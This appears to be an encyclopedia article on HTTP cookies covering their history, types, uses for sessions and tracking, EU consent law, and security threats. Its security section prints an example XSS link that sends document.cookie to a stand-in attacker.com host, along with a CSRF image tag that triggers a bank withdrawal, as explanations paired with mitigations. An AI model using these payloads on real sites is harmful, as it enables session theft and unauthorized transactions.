HTTP cookie

Origin of the name

The term cookie was coined by web-browser programmer Lou Montulli. It was derived from the term magic cookie, which is a packet of data a program receives and sends back unchanged, used by Unix programmers.^[6][7]

History

Magic cookies were already used in computing when computer programmer Lou Montulli had the idea of using them in web communications in June 1994.^[8] At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for MCI. Vint Cerf and John Klensin represented MCI in technical discussions with Netscape Communications. MCI did not want its servers to have to retain partial transaction states, which led them to ask Netscape to find a way to store that state in each user's computer instead. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.^[9][10]

Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on 13 October 1994,^[11][12] supported cookies.^[10] The first use of cookies (out of the labs) was checking whether visitors to the Netscape website had already visited the site. Montulli applied for a patent for the cookie technology in 1995, which was granted in 1998.^[13] Support for cookies was integrated with Internet Explorer in version 2, released in October 1995.^[14]

The introduction of cookies was not widely known to the public at the time. In particular, cookies were accepted by default, and users were not notified of their presence.^[15] The public learned about cookies after the Financial Times published an article about them on 12 February 1996.^[16] In the same year, cookies received a lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.^[2]

The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the Internet Engineering Task Force (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by Brian Behlendorf and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.^[17] At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000.

RFC 2965 added a Set-Cookie2 header field, which informally came to be called "RFC 2965-style cookies" as opposed to the original Set-Cookie header field which was called "Netscape-style cookies".^[18][19] Set-Cookie2 was seldom used, however, and was deprecated in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.^[20] No modern browser recognizes the Set-Cookie2 header field.^[21]

Session cookie

A session cookie (also known as an in-memory cookie, transient cookie or non-persistent cookie) exists only in temporary memory while the user navigates a website.^[22] Session cookies expire or are deleted when the user closes the web browser.^[23] Session cookies are identified by the browser by the absence of an expiration date assigned to them.

Persistent cookie

A persistent cookie expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement).

For this reason, persistent cookies are sometimes referred to as tracking cookies^[24][25] because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit. (See § Uses, below.)

Secure cookie

A secure cookie can only be transmitted over an encrypted connection (i.e. HTTPS). They cannot be transmitted over unencrypted connections (i.e. HTTP). This makes the cookie less likely to be exposed to cookie theft via eavesdropping. A cookie is made secure by adding the Secure flag to the cookie.

Http-only cookie

An http-only cookie cannot be accessed by client-side APIs, such as JavaScript. This restriction eliminates the threat of cookie theft via cross-site scripting (XSS).^[26] However, the cookie remains vulnerable to cross-site tracing (XST) and cross-site request forgery (CSRF) attacks. A cookie is given this characteristic by adding the HttpOnly flag to the cookie.

Same-site cookie

In 2016 Google Chrome version 51 introduced^[27] a new kind of cookie with attribute SameSite with possible values of Strict, Lax or None.^[28] With attribute SameSite=Strict, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate cross-site request forgery (CSRF) attacks. With SameSite=Lax, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for safe requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute SameSite=None would allow third-party (cross-site) cookies, however, most browsers require secure attribute on SameSite=None cookies.^[29]

The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism"^[30] to update RFC 6265 (if approved).

Chrome, Firefox, and Edge started to support Same-site cookies. The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to SameSite=Lax in Chrome 80 planned to be released in February 2020,^[31] but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and COVID-19 circumstances, Google postponed this change to Chrome 84.^[32][33]

Supercookie

A supercookie is a cookie with an origin of a top-level domain (such as .com) or a public suffix (such as .co.uk). Ordinary cookies, by contrast, have an origin of a specific domain name, such as example.com.

Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of .com could maliciously affect a request made to example.com, even if the cookie did not originate from example.com. This can be used to fake logins or change user information.

The Public Suffix List^[34] helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains.^[35]

Zombie cookie

A zombie cookie is data and code that has been placed by a web server on a visitor's computer or other device in a hidden location outside the visitor's web browser's dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as Flash Local shared object, HTML5 Web storage, and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.^[39][40]

Session management

Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual shopping cart or shopping basket).^[9][10] Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a unique session identifier (typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user.

Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services.

Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth.

Personalization

Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in.

Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the Google search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see. Also, DuckDuckGo uses cookies to allow users to set the viewing preferences like colors of the web page.

Tracking

Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the IP address of the computer requesting the page or the referer field of the HTTP request header, but cookies allow for greater precision. This can be demonstrated as follows:

1. If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the requested page.
2. From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.

By analyzing this log file, it is then possible to discover which pages the user has visited, in what sequence, and for how long.

Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The Wall Street Journal found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files.^[44] The data can then be collected and sold to bidding corporations.

Setting a cookie

Cookies are set using the Set-Cookie header field, sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies).

As an example, the browser sends its first HTTP request for the homepage of the www.example.org website:

GET /index.html HTTP/1.1
Host: www.example.org
...

The server responds with two Set-Cookie header fields:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 9 Jun 2021 10:18:14 GMT
...

The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, theme, is considered to be a session cookie since it does not have an Expires or Max-Age attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, sessionToken, is considered to be a persistent cookie since it contains an Expires attribute, which instructs the browser to delete the cookie at a specific date and time.

Next, the browser sends another request to visit the spec.html page on the website. This request contains a Cookie header field, which contains the two cookies that the server instructed the browser to set:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
...

This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more Set-Cookie header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a Set-Cookie header field with an expiration date in the past.

The value of a cookie may consist of any printable ASCII character (! through ~, Unicode \u0021 through \u007E) excluding ,and; and whitespace characters. The name of a cookie excludes the same characters, as well as =, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers.

The term cookie crumb is sometimes used to refer to a cookie's name–value pair.^[47]

Cookies can also be set by scripting languages such as JavaScript that run within the browser. In JavaScript, the object document.cookie is used for this purpose. For example, the instruction document.cookie = "temperature=20" creates a cookie of name temperature and value 20.^[48]

Cookie attributes

In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server.

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
...

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 1 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

EU cookie directive

This section relies excessively on references to primary sources. Please improve this section by adding secondary or tertiary sources. Find sources: "GDPR" – news · newspapers · books · scholar · JSTOR (October 2022) (Learn how and when to remove this message)

In 2002, the European Union launched the Directive on Privacy and Electronic Communications (e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.^[73][74] In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.^[75]

In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.^[74] The definition of consent is cross-referenced to the definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the General Data Protection Regulation (GDPR). As the definition of consent was strengthened in the text of the GDPR, this increased the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the Court of Justice of the European Union later confirmed however that the previous law implied the same strong quality of consent as the current instrument.^[76] In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.^[77][78]

Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies.^[79] It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995^[76] and the GDPR (Recital 32).^[80] The GDPR is specific that consent must be as 'easy to withdraw as to give',^[80] meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button.^[79] It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named.^[81][82] The Court of Justice of the European Union has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.^[83]

The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of Privacy International argues that proper enforcement would "destroy the entire industry".^[84] However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.^[77]

Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as accepting them.^[79] A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all.^[85] The UK regulator, the Information Commissioner's Office, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the Interactive Advertising Bureau was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e-Privacy] compliance.'^[81] Many companies that sell compliance solutions (Consent Management Platforms) permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.^[86]

A W3C specification called P3P was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.^[87]

Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.^[88] In 2020, the European Data Protection Board, composed of all EU data protection regulators, stated that cookie walls were illegal.

In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).^[89]

Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.^[90][91] However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.^[92][93] Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.^[79]

Network eavesdropping

Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.

An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.

This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.^[45]

Publishing false sub-domain: DNS cache poisoning

If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of f12345.www.example.com that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example, http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from f12345.www.example.com. Since f12345.www.example.com is a sub-domain of www.example.com, victims' browsers would submit all example.com-related cookies to the attacker's server.

If an attacker is able to accomplish this, it is usually the fault of the Internet service providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge^[94] of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.

Cross-site scripting: cookie theft

Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.

As an example, an attacker may post a message on www.example.com with the following link:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker.com server. If the attacker's malicious posting is on an HTTPS website https://www.example.com, secure cookies will also be sent to attacker.com in plain text.

It is the responsibility of the website developers to filter out such malicious code.

Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.

Cross-site scripting: proxy request

In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to www.example.com with the proxy server attacker.com. Since the request is for www.example.com, all example.com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.

This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.

Cross-site request forgery

For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

Cookiejacking

Cookiejacking is an attack against Internet Explorer which allows the attacker to steal session cookies of a user by tricking a user into dragging an object across the screen.^[95] Microsoft deemed the flaw low-risk because of "the level of required user interaction",^[95] and the necessity of having a user already logged into the website whose cookie is stolen.^[96] Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via social engineering.^[95]

Inaccurate identification

If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.^[99]

Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.

Authentication and session management

Tracking

Web storage

Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.

The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.^[103]

Internet Explorer supports persistent information^[104] in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.

Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.^[105]

Sources

• Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, 26 May 2011.